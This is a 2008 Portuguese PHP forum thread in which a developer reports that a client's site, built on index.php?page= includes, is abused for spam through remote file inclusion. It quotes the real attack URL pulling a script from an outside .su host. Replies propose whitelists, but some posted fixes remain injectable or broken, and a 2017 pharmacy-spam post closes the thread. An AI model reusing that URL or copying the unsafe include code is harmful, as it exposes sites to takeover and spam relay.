Jump to content


Photo

Segurança No Meu Site Em Php


  • Faça o login para participar
18 replies to this topic

#1 darkwader

darkwader

    12 Horas

  • Usuários
  • 175 posts
  • Sexo:Não informado

Posted 11/02/2008, 07:56

E ai galera

Fiz um site para um cliente e usei o PHP porem tenho notado que o site dele vem sendo usado para envio de spans o que já até acarretou a saida do site dele do ar

Usei um sistema simples onde as paginas no navegador aparecem assim:

http://www.meusite.c...ite2008/contato

Onde o topo e rodapés são sempre fixos o que muda é apenas o conteudo central

e a tatica que estão usando para invadir o site do cliente parece simples as paginas são criadas e aparecem assim no meu navegador


[url=http://www.meusite.com.br/index.php?page=http://enviotc.mail15.su/new/Tc.txt]http://www.wmd8.com.br/index.php?page=http://enviotc.mail15.su/new/Tc.txt?
aparece todo o site e no conteudo o formulario para spam

Como fazer para evitar esse problema? para evitar que usem o site do meu cliente para envio de spam não sou um expert
em PHP

Obrigado e fico aguardando uma resposta

Edição feita por: darkwader, 11/02/2008, 08:00.


#2 Paulo André

Paulo André

    Why so serious?

  • Ex-Admins
  • 5114 posts
  • Sexo:Masculino
  • Localidade:Belo Horizonte - MG
  • Interesses:O.Q.F.J.?

Posted 11/02/2008, 08:14

Mas também pudera... :blink:

Super vulnerável este sistema seu, como você coloca uma querystring com a variável page, cujo valor é uma página que você dá um include ou algo parecido? :huh:

Nem vi o código mas pressuponho que foi isto que você fez né.

Faz o seguinte, valida essa querystring antes de qualquer coisa, para que não dê tanto na cara pelo menos.

Flws...
(y)Até mais
Paulo André G Rodrigues,
ex-administrador Fórum WMO.


www.CanalDev.com.br

#3 Adrielso P. Teodoro

Adrielso P. Teodoro

    Novato no fórum

  • Usuários
  • 24 posts
  • Sexo:Masculino
  • Localidade:Campinas/SP
  • Interesses:PHP, Hardware, HTML, CSS e XML

Posted 11/02/2008, 08:27

E como nosso amigo já disse isto está muito vunerável!

O que você pode estar fazendo como ele já disse é verificar cada página antes de dar o include atualmente deve está assim:

<?php

include "$page"."php";

?>

O que você deve fazer é verificar o contéudo antes de fazer a inclusão do mesmo.

Por exemplo poderia pegar todo conteúdo de seu site e verificar com IF, dá muito trabalho mais deixa o site muito mais confiável. Ex:

<?php
IF ($page=="Principal")
{
include "principal.php";
}
ELSEIF($page=="Noticias")
{
include "noticias.php";
}
ELSE
{
ECHO "Essa página não exite no servidor"; //Também pode redirecionar para uma página personalizada de erro.
}
?>


Assim seu site fica muito mais confiável. :rolleyes:

T+++
Adrielso Pinto Teodoro
Suporte Técnico

-- Sistema Operacional: Windows XP - Service Pack 3
-- Navegador: Mozilla Firefox 3.0

#4 darkwader

darkwader

    12 Horas

  • Usuários
  • 175 posts
  • Sexo:Não informado

Posted 11/02/2008, 15:47

valeu galera

eu sabia realmente que havia problemas, que o sistema era muito vulneravel por isso entrei aqui para receber uma ajuda

E ja vou começar a mudar agora mesmo

So fiquei com uma dúvida na sua explicação adrielso

Usei exatamente como você falou chamei as paginas sem o if e elseif

Nesse Código vou usar na index certo, no elseif preciso repetir essa função para todas as paginas do meu site

<?php
IF ($page=="Principal")
{
include "principal.php";
}
ELSEIF($page=="Noticias")
{
include "noticias.php";
}
ELSEIF($page=="fotos")
{
include "fotos.php";
}
ELSEIF($page=="localizacao")
{
include "localizacao.php";
}


ELSE
{
ECHO "Essa página não exite no servidor"; //Também pode redirecionar para uma página personalizada de erro.
}
?>

como acima?

esse site tem umas 30paginas apenas

e como seria para site com varias paginas???


Valeu

#5 Nicholas Pufal

Nicholas Pufal

    Impossível: só existe até alguém duvidar e provar o contrário.

  • Usuários
  • 1655 posts
  • Sexo:Masculino
  • Localidade:Porto Alegre

Posted 11/02/2008, 16:01

Nunca achei viável usar uma linguagem como PHP/ASP para fazer sites assim.

Porque não usam Iframes ou algo do tipo?
BLOG Touché Criação - Vamos trocar idéias? -> http://blog.touchecriacao.com.br/
// Links úteis: Busca || Regras
// Não respondo dúvidas via mensagem privada. Use o fórum para buscar ou perguntar.

#6 savior

savior

    Campanha [codebox], use ou morra :D

  • Usuários
  • 1229 posts
  • Sexo:Masculino
  • Localidade:Curitiba, PR - Brasil
  • Interesses:Na vida ;P

Posted 11/02/2008, 16:32

Nunca achei viável usar uma linguagem como PHP/ASP para fazer sites assim.

Porque não usam Iframes ou algo do tipo?


Prove então caro amigo a inviabilidade do mesmo, ok?

Utilização de includes é para dinamização e reaproveitamento de trechos de código. Programação avançada. Um bom sistema de includes faz um site mais leve e manutenção mais fácil.

Fora isso que utilizar iframes para isso seja considerado POG², coisa de profissionais retógrados ;)

[]'s

[lastfm] [blog]

Campanha codebox: use-a ou morra!
bfmaster_duran[at]yahoo.com.br


#7 Nicholas Pufal

Nicholas Pufal

    Impossível: só existe até alguém duvidar e provar o contrário.

  • Usuários
  • 1655 posts
  • Sexo:Masculino
  • Localidade:Porto Alegre

Posted 11/02/2008, 16:56

Hmm, savior, acho que você não entendeu meu comentário.

Leia todo o tópico. Realço o seguinte:

Onde o topo e rodapés são sempre fixos o que muda é apenas o conteudo central


esse site tem umas 30paginas apenas

e como seria para site com varias paginas???


Quer dizer que para um site de 70 páginas vai ser viável ficar digitando IF/Else pra tudo?

Foi quanto à isso que eu quis dizer que seria viável outro meio. Foi em função do comentário/pergunta que ele fez.

Assim como se o site é pequeno, porque não esquecer a busca por querystring (?pagina=blabla) e apenas deixar o acesso direto ao nome da página?
BLOG Touché Criação - Vamos trocar idéias? -> http://blog.touchecriacao.com.br/
// Links úteis: Busca || Regras
// Não respondo dúvidas via mensagem privada. Use o fórum para buscar ou perguntar.

#8 darkwader

darkwader

    12 Horas

  • Usuários
  • 175 posts
  • Sexo:Não informado

Posted 11/02/2008, 17:27

Oi Firehalk

Valeu pelo toque mas o problema era justamente fazer um site mais dinamico. quando eu disse que o rodapé e o topo eram fixos não me expliquei direito, são fizos podem com includes tambem, foi piração quis fazer um site todo dividido onde eu pudesse atualizar varias partes dele mais rápido

naverdade já usei muito ifreme mas hohe não gosto do layout dele, me incomoda um pouco e tambem estarva querendo mesmo me aprofundar no PHP

Mesmo assim valeu galera ja foi de grande ajudar para resolver esse problema

#9 MarcoviZ

MarcoviZ

    ubuntu for human being

  • Usuários
  • 1137 posts
  • Sexo:Não informado

Posted 11/02/2008, 23:42

outro modelo é o switch...:

$pag = $_GET['pag'];

	switch ($pag) {
	case contato:
	$pagin = "contato.php";
		break;
	case sobremim:
	$pagin = "sobremim.php";
		break;
	case index:
	$pagin = "meio.php";
		break;
	  default:
			   $pagin = "meio.php";
}
include($pagin);

não testei o código, mais acho q está ok...
té+

ref: http://br.php.net/switch

Edição feita por: MarcoviZ, 11/02/2008, 23:44.

[]'s

#10 savior

savior

    Campanha [codebox], use ou morra :D

  • Usuários
  • 1229 posts
  • Sexo:Masculino
  • Localidade:Curitiba, PR - Brasil
  • Interesses:Na vida ;P

Posted 12/02/2008, 00:09

Quer dizer que para um site de 70 páginas vai ser viável ficar digitando IF/Else pra tudo?


Não. Observe:
$cat = isset($_GET['cat']) ?  $_GET['cat'] : ".";
 $acao = isset($_GET['acao']) ?  $_GET['acao'] : "principal.php";
 include_once((is_file($cat . "/" .$acao . ".php") ? $cat . "/" . $acao . ".php" : "404.php";

Wo0t! :o
Um código dinâmico de query string.
Caso o usuário digitar "index.php?cat=usuario&acao=adicionar", procurará a pasta "usuario" e verificará se o arquivo adicionar.php existe, se existir, incluirá, caso contrário 404.

Com 3 linhas ele resolve um problema imenso de switch,ifs/elses...


[]'s

Edição feita por: savior, 12/02/2008, 08:16.
remoção de comentários desnecessários

[lastfm] [blog]

Campanha codebox: use-a ou morra!
bfmaster_duran[at]yahoo.com.br


#11 Marco Savino

Marco Savino

    Novato no fórum

  • Usuários
  • 2 posts
  • Sexo:Não informado

Posted 06/03/2008, 23:49

eu postei o codigo no meu site como vcs citaram acima!

<?php
IF ($page=="Principal")
{
include "principal.php";
}
ELSEIF($page=="Noticias")
{
include "noticias.php";
}
ELSE
{
ECHO "Essa página não exite no servidor"; //Também pode redirecionar para uma página personalizada de erro.
}
?>

mas como faço para que quando acesso esse php, por exemplo INDEX.PHP ao entrar somente nesse link adicionar um html principal para dentro desse html contareos link para o INDEX.PHP?PAGE=Principal .... mas quando acessar o ?PAGE=principal o html que foi adicionado anteriormente nao incluir junto ??????

ALGUEM ME AJUDA POR FAVOR

#12 Paulo André

Paulo André

    Why so serious?

  • Ex-Admins
  • 5114 posts
  • Sexo:Masculino
  • Localidade:Belo Horizonte - MG
  • Interesses:O.Q.F.J.?

Posted 07/03/2008, 08:52

Então você quer é redirecionar né? Não fazer um include.

Se for isto, use header().

Flws...
(y)Até mais
Paulo André G Rodrigues,
ex-administrador Fórum WMO.


www.CanalDev.com.br

#13 irto2005

irto2005

    Novato no fórum

  • Usuários
  • 13 posts
  • Sexo:Masculino
  • Localidade:Nilopólis, RJ
  • Interesses:Aprender

Posted 07/03/2008, 10:51

Hum, exatamente, eu usso outro tipo, usso como se fosse IPs, bem, e parecido com isso:
www.site.com/index?pag=145.357P85
Assim fica muito mais dificio.. Mais como se debuga, ai vai:
$lnk = substr($_GET['pag'], 0, -7);
$lnk2 = substr($_GET['pag'], 4, -3);
$lnk3 = substr($_GET['pag'], 8);
switch($lnk){
case "145":
$link = "local/";
}
switch($lnk2){
case "357':
$link .= "show_";
}
switch($lnk3){
case "85":
$link .= "noticias.php";
}

include $link;

Bem, para debugar esses codigos eu uso dentro de uma função.. Mais ta ai, para você...
Bem ai nesse mu caso so vai incluir apenas uma pagina, que vai ser a do ip, que é a pagina: local/show_noticias.php
Bem, de uma olhada!! E se for o caso usa BREAK para melhorar... Caso não queira que o resto da pagina apareça, usse o comando EXIT; no final de pagina....
ATe mais epero te ajudado!

Edição feita por: irto2005, 07/03/2008, 11:09.


#14 kllaus

kllaus

    Novato no fórum

  • Usuários
  • 22 posts
  • Sexo:Masculino

Posted 23/03/2008, 16:51

Pessoal, estou com esse mesmo problema que o amigo aí, mas no meu caso é na meu próprio site e também uso os sistema index.php?pagina=?????

Veja os detalhes do meu problema em: http://forum.wmonlin...howtopic=195034

Se alguém puder me ajudar agradeço.

PS. Não manjo nada de PHP
Vivendo e aprendendo, errando e se...

#15 LarPhozyHah

LarPhozyHah

    Super Veterano

  • Usuários
  • 14515 posts
  • Sexo:Masculino
  • Localidade:San Miguel de Tucuman

Posted 26/09/2017, 06:52

Generique Propecia 2011 Safer Macrobid Or Keflex cialis Cephalexin Vs Keflex
Keflex Swelling In Ankles And Feet Legale Levitra cialis Louer Levitra Ceclor Or Keflex Buy Periactin Weight Gain Pills
Viagra Offiziell Kaufen Sun Exposure With Keflex Levitra Samples online pharmacy Uses Of Propecia Comprar Cialis Reembolso buy cheap accutane online




2 user(s) are reading this topic

0 membro(s), 2 visitante(s) e 0 membros anônimo(s)

IPB Skin By Virteq